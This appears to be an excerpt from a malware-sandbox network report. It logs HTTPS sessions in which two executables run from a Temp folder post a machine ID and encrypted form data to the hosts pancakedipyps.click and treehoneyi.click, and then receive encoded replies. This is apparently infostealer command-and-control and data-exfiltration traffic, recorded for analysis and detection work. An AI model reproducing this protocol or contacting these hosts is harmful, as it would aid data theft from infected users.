f4ctM4J/sdVX5mLMYGv6GbGUiu60gWm/dtk4Ys6al8t/4y1rg3q8/FbHboQodmOgYPXDu+X4fYdGADQX/8vCqodSeAa6XqzsW95b3Bhr+734vfe+2OERhgKEFGPS+yPLf8sta4KyvIwmwzqZEfKXROD15/+swRjCV71Zcvb7zrd+y21D7zP96V+XH+RAasJZmbTmo6DBQMNShAw/w8PSujeyIFKPekhMiutWyB12Y6B80Z+X1dzZOpL4JHrHY9K

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49789	172.67.209.202	443	7516	C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 06:12:20 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LF7PT5FQ4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18108 Host: pancakedipyps.click
2024-12-20 06:12:20 UTC	15331	OUT	Data Raw: 2d 2d 4c 46 37 50 54 35 46 51 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 33 43 37 45 32 33 36 34 41 45 34 42 37 42 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4c 46 37 50 54 35 46 51 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4c 46 37 50 54 35 46 51 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 4c 46 37 50 54 35 46 51 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f Data Ascii: --LF7PT5FQ4Content-Disposition: form-data; name="hwid"D3C7E2364AE4B7B7AC8923850305D13E--LF7PT5FQ4Content-Disposition: form-data; name="pid"2--LF7PT5FQ4Content-Disposition: form-data; name="lid"FATE99--test--LF7PT5FQ4Content-Dispo
2024-12-20 06:12:20 UTC	2777	OUT	Data Raw: 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 d7 52 9c ab a6 b6 5f c9 35 8b 56 2d 7b Data Ascii: \f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwmR_5V-{
2024-12-20 06:12:22 UTC	1130	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 06:12:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3874f6lqf1r6bh6nl9scv3d9rb; expires=Mon, 14 Apr 2025 23:59:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0R7AQDQSYZB%2BRXH3ySNB5BTdtIfPV7eZ1pmPkYcJLW9FQCh9voZemvBeo8jUIk8Ves0Idcm4pFDXgQ2XH6JjuwxHOr95OeCG%2BXwKRYEcxDQ%2BuvgUDDoCa7qsapHjPtZFYsWHmuZT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4d7af00c8c72ab-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2044&min_rtt=2042&rtt_var=770&sent=12&recv=22&lost=0&retrans=0&sent_bytes=2848&recv_bytes=19064&delivery_rate=1416787&cwnd=208&unsent_bytes=0&cid=d20656bae4254bfc&ts=1335&x=0"
2024-12-20 06:12:22 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 06:12:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49797	172.67.209.202	443	7516	C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 06:12:23 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=18LICE536FT0PV6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8765 Host: pancakedipyps.click
2024-12-20 06:12:23 UTC	8765	OUT	Data Raw: 2d 2d 31 38 4c 49 43 45 35 33 36 46 54 30 50 56 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 33 43 37 45 32 33 36 34 41 45 34 42 37 42 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 31 38 4c 49 43 45 35 33 36 46 54 30 50 56 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 31 38 4c 49 43 45 35 33 36 46 54 30 50 56 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 31 38 4c 49 43 45 Data Ascii: --18LICE536FT0PV6Content-Disposition: form-data; name="hwid"D3C7E2364AE4B7B7AC8923850305D13E--18LICE536FT0PV6Content-Disposition: form-data; name="pid"2--18LICE536FT0PV6Content-Disposition: form-data; name="lid"FATE99--test--18LICE
2024-12-20 06:12:24 UTC	1125	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 06:12:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o1ilamgu71eo6drcmu6vc24231; expires=Mon, 14 Apr 2025 23:59:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5WSMAdhQjUK6UUb7ZXLpZt0WvaFgwGUyQ9bX2aNdwEaPm2GbCSn4bAm82Ols6DRONAffUJxzkmVMzmvtwtACa4Asqufn860rOI4%2BuAOxSx5x78PNcpchiu9g8H61rw%2BE6QoGNzu6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4d7b01e9620ca6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1618&min_rtt=1607&rtt_var=624&sent=7&recv=13&lost=0&retrans=0&sent_bytes=2849&recv_bytes=9704&delivery_rate=1722713&cwnd=221&unsent_bytes=0&cid=c49dd12e45a1214f&ts=958&x=0"
2024-12-20 06:12:24 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 06:12:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49796	172.67.180.113	443	7348	C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 06:12:23 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: treehoneyi.click
2024-12-20 06:12:23 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-20 06:12:24 UTC	1121	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 06:12:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ns7qpjj6k2n6oesotu348f6f6o; expires=Mon, 14 Apr 2025 23:59:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JdxC4TI0ta5NYqU5FXlBOTiXO4bzvVZAcZA%2BOsoAU1ZDrEXq4%2BMhp1lSZNiNWiCjCkzZc6y3Lc7alhn9OrMykgv2cr8f5rAO2TZmC3txdPK7fBwD2dSbp2qshACass%2FF3Qqa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4d7b029f358cda-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1791&min_rtt=1785&rtt_var=683&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=907&delivery_rate=1587819&cwnd=242&unsent_bytes=0&cid=6eff701871e93694&ts=758&x=0"
2024-12-20 06:12:24 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-20 06:12:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49804	172.67.180.113	443	7348	C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 06:12:25 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: treehoneyi.click
2024-12-20 06:12:25 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 72 41 47 78 53 46 2d 2d 53 75 70 70 6f 72 74 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=rAGxSF--Support&j=
2024-12-20 06:12:26 UTC	1125	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 06:12:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4spk42mmqcqhl36nvl7psg1qvq; expires=Mon, 14 Apr 2025 23:59:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uazg%2Bw0xskT3IiMYA%2B7GiWbM0k79kpsqPoH8O61P1WcHtUIh3eAOJ6LhNF%2BXHgIsRIbzOS8EiOMBlFLrvasxeRmxX4rzP8n3K%2FRNGkN6liGCw%2FlbUer8Fm4rxRuXlecZSC6F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4d7b0ee96d4373-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1681&min_rtt=1675&rtt_var=641&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2839&recv_bytes=949&delivery_rate=1690793&cwnd=234&unsent_bytes=0&cid=5cba9d305d22ac1c&ts=767&x=0"
2024-12-20 06:12:26 UTC	244	IN	Data Raw: 34 39 31 63 0d 0a 2f 76 39 58 33 42 49 41 4b 46 50 5a 72 2b 4a 42 64 70 7a 32 31 53 6c 36 69 77 2b 65 70 72 45 76 4f 4c 58 67 51 46 64 39 77 68 75 46 33 53 48 2b 4b 44 51 45 63 61 72 4b 77 48 73 43 37 6f 4f 77 42 56 6a 71 61 37 79 63 31 30 35 55 78 6f 56 73 64 51 75 76 4f 63 53 5a 4e 72 42 68 5a 51 52 78 76 4e 66 41 65 79 33 6e 31 4c 42 48 57 4c 45 74 2b 38 7a 54 54 6c 54 58 67 53 73 34 44 61 35 34 6c 70 4d 77 74 48 64 6a 54 44 4b 31 77 6f 63 6b 45 2f 32 63 75 30 41 58 34 32 4b 38 69 70 4e 4b 51 70 66 61 59 68 6f 59 74 6e 71 7a 6e 69 53 33 4d 48 30 45 4b 50 76 4b 6a 47 4e 4d 76 70 65 77 53 78 62 74 61 2f 58 4f 32 55 64 63 31 6f 51 71 4a 78 53 6b 63 35 61 64 4d 37 56 39 61 6c 67 2f 76 38 57 4d 49 68 6e 39 31 50 6b 4c 48 2f Data Ascii: 491c/v9X3BIAKFPZr+JBdpz21Sl6iw+eprEvOLXgQFd9whuF3SH+KDQEcarKwHsC7oOwBVjqa7yc105UxoVsdQuvOcSZNrBhZQRxvNfAey3n1LBHWLEt+8zTTlTXgSs4Da54lpMwtHdjTDK1wockE/2cu0AX42K8ipNKQpfaYhoYtnqzniS3MH0EKPvKjGNMvpewSxbta/XO2Udc1oQqJxSkc5adM7V9alg/v8WMIhn91PkLH/
2024-12-20 06:12:26 UTC	1369	IN	Data Raw: 45 74 70 49 53 41 66 31 6e 47 6b 7a 63 34 44 36 59 35 67 39 4d 73 2f 6e 64 75 43 6d 6e 37 78 59 77 74 45 66 32 62 73 45 6f 59 2b 32 4c 38 78 39 74 46 58 74 32 4e 4c 54 6f 52 71 6e 36 55 6c 44 4b 78 64 32 70 4d 50 72 69 4e 7a 6d 4d 54 35 74 54 76 43 7a 6a 35 62 76 2f 51 33 6c 77 61 79 4d 77 37 64 52 69 73 4f 63 54 64 4d 37 42 78 62 30 6f 6a 73 38 61 4c 4a 67 62 31 6e 62 70 47 47 4f 52 6e 38 38 66 54 53 6c 44 64 6a 53 67 78 45 71 31 2f 6e 4a 31 31 38 44 42 6c 55 6e 48 6a 6a 61 4d 6d 42 50 6d 59 6f 51 6b 69 71 58 4b 79 33 5a 4e 4b 56 70 66 61 59 6a 30 61 6f 33 71 58 6b 6a 61 32 65 33 42 4b 49 37 33 41 68 54 45 53 2b 35 71 39 53 41 72 6a 59 2f 72 48 32 6b 5a 54 30 6f 55 6d 64 56 48 67 66 6f 54 64 62 66 35 52 62 30 45 39 73 64 71 41 59 77 75 77 6a 66 64 4d 46 Data Ascii: EtpISAf1nGkzc4D6Y5g9Ms/nduCmn7xYwtEf2bsEoY+2L8x9tFXt2NLToRqn6UlDKxd2pMPriNzmMT5tTvCzj5bv/Q3lwayMw7dRisOcTdM7Bxb0ojs8aLJgb1nbpGGORn88fTSlDdjSgxEq1/nJ118DBlUnHjjaMmBPmYoQkiqXKy3ZNKVpfaYj0ao3qXkja2e3BKI73AhTES+5q9SArjY/rH2kZT0oUmdVHgfoTdbf5Rb0E9sdqAYwuwjfdMF
2024-12-20 06:12:26 UTC	1369	IN	Data Raw: 4c 33 6b 45 61 6d 63 49 6c 4c 56 2f 34 4f 62 61 65 49 62 31 36 49 48 38 79 74 63 4f 48 4e 56 54 68 32 71 34 4c 48 2b 55 74 70 49 54 65 54 46 4c 52 6b 43 30 34 48 4b 35 33 6b 35 67 36 74 6e 42 69 52 7a 53 2f 78 6f 73 67 47 66 71 47 76 55 73 51 37 47 7a 32 7a 70 4d 44 47 74 43 61 59 6d 31 66 6b 57 36 58 33 77 43 39 66 6d 78 4e 4a 2f 76 53 7a 6a 70 55 2b 5a 6a 33 45 31 6a 6b 5a 66 6e 42 33 45 78 51 32 59 63 6f 4f 52 65 75 65 6f 36 53 4d 62 35 38 61 6b 41 38 74 63 6d 49 4b 68 2f 31 6b 72 64 4b 45 71 6b 6a 76 4d 50 4c 44 51 4b 58 74 69 55 35 45 71 38 37 71 5a 34 37 73 48 64 30 43 69 37 31 31 4d 41 6b 47 4c 37 4d 39 30 63 52 36 57 62 32 77 4e 4e 4b 56 39 4b 42 4a 54 59 53 70 33 4f 53 6d 6a 47 79 65 57 39 4d 4d 62 7a 4a 68 54 45 52 39 35 69 37 43 31 61 70 61 75 Data Ascii: L3kEamcIlLV/4ObaeIb16IH8ytcOHNVTh2q4LH+UtpITeTFLRkC04HK53k5g6tnBiRzS/xosgGfqGvUsQ7Gz2zpMDGtCaYm1fkW6X3wC9fmxNJ/vSzjpU+Zj3E1jkZfnB3ExQ2YcoOReueo6SMb58akA8tcmIKh/1krdKEqkjvMPLDQKXtiU5Eq87qZ47sHd0Ci711MAkGL7M90cR6Wb2wNNKV9KBJTYSp3OSmjGyeW9MMbzJhTER95i7C1apau
2024-12-20 06:12:26 UTC	1369	IN	Data Raw: 47 74 43 4f 59 6d 31 66 71 58 43 4f 6b 7a 75 33 66 57 52 43 4e 72 58 41 69 79 55 66 2b 5a 4f 78 52 68 44 6b 61 50 2f 46 31 30 64 49 31 49 6b 6f 4f 42 58 67 4e 39 79 61 4c 66 34 6f 49 6d 30 39 6b 74 32 62 4d 51 4b 2b 69 2f 6c 53 57 4f 35 68 76 4a 79 54 54 6c 58 65 6a 53 6f 39 45 4b 39 39 6b 70 73 7a 73 33 56 74 51 43 4f 7a 77 34 30 6f 47 2f 57 47 74 30 59 63 35 57 6e 30 7a 39 6b 4e 46 4a 65 46 4f 6e 56 48 34 45 79 52 6b 6a 57 39 5a 69 4a 56 66 36 4b 4e 68 79 39 55 70 74 53 37 52 52 6a 6d 59 66 44 50 32 30 78 57 32 59 55 6e 50 42 65 6f 61 35 32 5a 50 62 39 2b 62 55 73 31 76 73 69 45 4a 42 44 34 6d 2f 63 46 57 4f 35 31 76 4a 79 54 59 6e 33 69 77 41 4d 50 58 37 38 33 68 64 30 79 73 6a 41 36 43 6a 32 34 77 59 67 73 45 76 65 59 76 55 49 54 35 57 62 34 79 4e 70 Data Ascii: GtCOYm1fqXCOkzu3fWRCNrXAiyUf+ZOxRhDkaP/F10dI1IkoOBXgN9yaLf4oIm09kt2bMQK+i/lSWO5hvJyTTlXejSo9EK99kpszs3VtQCOzw40oG/WGt0Yc5Wn0z9kNFJeFOnVH4EyRkjW9ZiJVf6KNhy9UptS7RRjmYfDP20xW2YUnPBeoa52ZPb9+bUs1vsiEJBD4m/cFWO51vJyTYn3iwAMPX783hd0ysjA6Cj24wYgsEveYvUIT5Wb4yNp
2024-12-20 06:12:26 UTC	1369	IN	Data Raw: 79 4d 7a 44 61 64 77 6a 70 4d 34 73 58 68 71 51 7a 43 2f 79 49 30 6c 47 50 53 56 73 45 55 57 34 53 32 79 68 4e 52 56 47 6f 2f 43 41 79 55 45 73 6d 2b 52 76 44 69 78 4d 48 30 45 4b 50 76 4b 6a 47 4e 4d 76 70 32 6c 54 78 58 37 5a 50 76 4b 33 45 35 49 31 6f 38 70 4a 78 69 76 66 5a 75 52 4d 37 46 32 59 30 38 37 74 38 71 46 4b 42 76 79 31 50 6b 4c 48 2f 45 74 70 49 54 39 52 6b 6e 41 67 53 77 2b 43 62 73 35 67 39 4d 73 2f 6e 64 75 43 6d 6e 37 7a 6f 73 6f 45 50 36 59 74 30 38 56 36 58 2f 7a 77 39 52 45 55 63 57 49 4a 54 49 55 71 48 4b 54 6d 79 65 79 66 6e 42 50 49 36 6d 4e 7a 6d 4d 54 35 74 54 76 43 79 37 75 66 65 7a 48 6b 58 78 4d 31 4a 51 70 4f 42 50 67 5a 74 4b 45 64 62 6c 38 49 68 4a 78 76 63 4b 4a 49 42 76 2f 6e 62 74 47 48 65 42 6f 2f 63 4c 58 52 31 44 58 Data Ascii: yMzDadwjpM4sXhqQzC/yI0lGPSVsEUW4S2yhNRVGo/CAyUEsm+RvDixMH0EKPvKjGNMvp2lTxX7ZPvK3E5I1o8pJxivfZuRM7F2Y087t8qFKBvy1PkLH/EtpIT9RknAgSw+Cbs5g9Ms/nduCmn7zosoEP6Yt08V6X/zw9REUcWIJTIUqHKTmyeyfnBPI6mNzmMT5tTvCy7ufezHkXxM1JQpOBPgZtKEdbl8IhJxvcKJIBv/nbtGHeBo/cLXR1DX
2024-12-20 06:12:26 UTC	1369	IN	Data Raw: 44 75 59 4e 79 61 4f 66 34 6f 49 6b 6b 32 75 4d 79 4b 4b 68 6a 78 6b 37 4e 5a 45 75 35 2f 2f 63 58 59 51 46 62 58 6a 79 38 2f 48 71 6c 30 6b 4a 41 79 75 58 39 6e 43 6e 2f 37 79 70 68 6a 54 4c 36 31 75 6b 41 55 73 6a 65 38 32 35 31 55 47 74 43 4f 59 6d 31 66 6f 48 4f 5a 6c 7a 69 39 66 32 46 59 4d 4c 33 66 67 43 34 65 37 4a 36 38 54 68 58 6b 59 50 2f 43 31 55 5a 57 78 59 73 69 4e 68 54 67 4e 39 79 61 4c 66 34 6f 49 6d 6b 6d 72 63 65 48 4c 77 4c 31 6c 62 52 64 46 66 6b 74 73 6f 54 43 53 6b 75 58 32 6a 51 6c 43 4b 64 6d 30 6f 52 31 75 58 77 69 45 6e 47 39 78 49 59 6b 45 76 43 47 73 6b 30 58 35 6d 54 31 77 4e 74 4f 57 74 4f 47 4a 54 41 63 72 48 4b 62 6e 6a 71 36 65 57 78 44 50 76 75 44 77 43 51 4d 76 73 7a 33 61 67 50 71 59 66 47 45 7a 41 4e 44 6c 34 55 75 64 Data Ascii: DuYNyaOf4oIkk2uMyKKhjxk7NZEu5//cXYQFbXjy8/Hql0kJAyuX9nCn/7yphjTL61ukAUsje8251UGtCOYm1foHOZlzi9f2FYML3fgC4e7J68ThXkYP/C1UZWxYsiNhTgN9yaLf4oImkmrceHLwL1lbRdFfktsoTCSkuX2jQlCKdm0oR1uXwiEnG9xIYkEvCGsk0X5mT1wNtOWtOGJTAcrHKbnjq6eWxDPvuDwCQMvsz3agPqYfGEzANDl4Uud
2024-12-20 06:12:26 UTC	1369	IN	Data Raw: 45 33 52 57 31 5a 6d 64 4e 4a 2f 6e 34 67 79 30 61 2b 59 4c 33 56 43 65 6e 4c 66 50 65 6b 78 56 6a 7a 73 49 6c 4f 56 2f 34 4f 59 6d 61 4e 62 6c 71 64 45 30 39 71 73 61 4e 4c 7a 62 78 6b 36 46 49 46 2b 70 38 39 59 6a 59 51 42 71 5a 77 69 55 74 58 2f 67 35 73 35 6f 6a 76 56 39 68 57 7a 6a 37 67 38 41 6b 41 72 37 4d 39 33 56 59 2b 32 37 73 78 39 78 63 5a 4a 66 61 4f 77 74 66 71 32 2b 62 6a 54 61 6f 65 32 39 47 49 49 57 4e 32 48 64 47 72 4d 62 6c 47 51 65 70 63 73 4f 4b 6b 30 77 61 6a 37 73 37 64 51 6e 67 49 63 37 54 64 61 77 77 4f 67 70 32 75 4e 2b 53 4a 52 66 6f 6c 2f 42 31 4a 73 35 37 39 73 50 44 53 6b 33 59 77 6d 78 31 45 4f 41 68 70 64 30 38 75 57 74 7a 58 44 79 72 79 73 41 63 57 72 36 4d 39 78 4e 59 33 47 37 79 79 74 52 62 53 35 71 6c 4e 44 38 59 73 48 Data Ascii: E3RW1ZmdNJ/n4gy0a+YL3VCenLfPekxVjzsIlOV/4OYmaNblqdE09qsaNLzbxk6FIF+p89YjYQBqZwiUtX/g5s5ojvV9hWzj7g8AkAr7M93VY+27sx9xcZJfaOwtfq2+bjTaoe29GIIWN2HdGrMblGQepcsOKk0waj7s7dQngIc7TdawwOgp2uN+SJRfol/B1Js579sPDSk3Ywmx1EOAhpd08uWtzXDyrysAcWr6M9xNY3G7yytRbS5qlND8YsH
2024-12-20 06:12:26 UTC	1369	IN	Data Raw: 73 54 78 73 51 54 47 38 33 5a 59 34 57 50 61 58 72 56 45 6d 31 30 62 77 77 74 52 58 58 64 47 6b 41 6e 56 52 34 48 62 63 78 51 7a 2b 4f 43 4a 31 66 2f 76 56 77 48 74 55 79 35 65 35 52 52 2f 2f 66 4c 48 73 38 48 64 67 6c 61 34 6c 49 46 32 55 66 6f 79 4d 50 72 4e 38 49 67 52 78 76 59 33 59 63 31 71 2b 6b 4b 59 4c 51 4c 6b 2f 70 35 47 41 47 67 71 46 6e 57 77 73 58 37 59 35 78 4d 39 37 2f 6d 49 69 45 6e 48 38 7a 70 49 78 45 76 32 43 74 41 77 6d 31 30 72 79 77 39 4a 62 53 73 43 4e 48 41 73 4b 6f 33 65 53 6d 69 4f 76 4d 43 77 4b 50 76 75 56 75 57 4e 63 76 71 76 35 43 77 43 70 4e 62 7a 78 30 45 4e 55 30 4a 51 7a 65 44 69 75 66 70 32 4c 4a 61 6c 2f 49 67 52 78 76 59 33 59 63 56 71 2b 6b 4b 59 4c 51 4c 6b 2f 70 35 47 41 47 67 71 46 6e 57 77 73 58 37 59 35 78 4d 39 Data Ascii: sTxsQTG83ZY4WPaXrVEm10bwwtRXXdGkAnVR4HbcxQz+OCJ1f/vVwHtUy5e5RR//fLHs8Hdgla4lIF2UfoyMPrN8IgRxvY3Yc1q+kKYLQLk/p5GAGgqFnWwsX7Y5xM97/mIiEnH8zpIxEv2CtAwm10ryw9JbSsCNHAsKo3eSmiOvMCwKPvuVuWNcvqv5CwCpNbzx0ENU0JQzeDiufp2LJal/IgRxvY3YcVq+kKYLQLk/p5GAGgqFnWwsX7Y5xM9
2024-12-20 06:12:26 UTC	1369	IN	Data Raw: 51 67 52 76 4e 75 44 59 31 71 2b 6d 50 63 54 57 4f 68 6e 37 4d 6e 63 53 68 62 51 6d 43 56 31 55 65 42 33 33 4d 56 31 76 33 70 79 52 7a 36 38 67 59 59 74 47 72 36 4c 2b 56 4a 59 2f 79 32 6b 6c 35 30 4e 53 4a 66 61 59 6e 49 63 73 6d 75 61 6e 69 4f 39 4e 31 78 30 48 4b 6e 4b 6b 43 42 57 7a 35 6d 7a 58 51 33 71 66 66 76 36 37 57 42 49 30 4a 49 68 64 79 36 32 65 70 79 54 4d 76 34 2b 49 6c 4a 78 34 34 32 74 4d 52 50 75 6c 2f 63 46 57 4f 55 74 70 49 54 65 58 31 33 48 67 57 34 79 42 61 63 35 67 39 4d 73 2f 6d 59 69 45 6d 4c 31 6a 5a 4a 6a 54 4c 37 54 75 55 59 5a 36 6d 50 2f 31 73 46 4c 57 63 47 42 5a 51 73 68 6a 57 75 62 6a 54 62 38 51 57 39 4f 4a 36 37 4f 6b 43 51 71 77 4c 6d 6c 54 41 6a 71 4c 39 44 44 33 6b 46 6b 36 62 55 7a 4d 67 2f 69 58 35 2b 4c 4e 76 34 2b Data Ascii: QgRvNuDY1q+mPcTWOhn7MncShbQmCV1UeB33MV1v3pyRz68gYYtGr6L+VJY/y2kl50NSJfaYnIcsmuaniO9N1x0HKnKkCBWz5mzXQ3qffv67WBI0JIhdy62epyTMv4+IlJx442tMRPul/cFWOUtpITeX13HgW4yBac5g9Ms/mYiEmL1jZJjTL7TuUYZ6mP/1sFLWcGBZQshjWubjTb8QW9OJ67OkCQqwLmlTAjqL9DD3kFk6bUzMg/iX5+LNv4+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
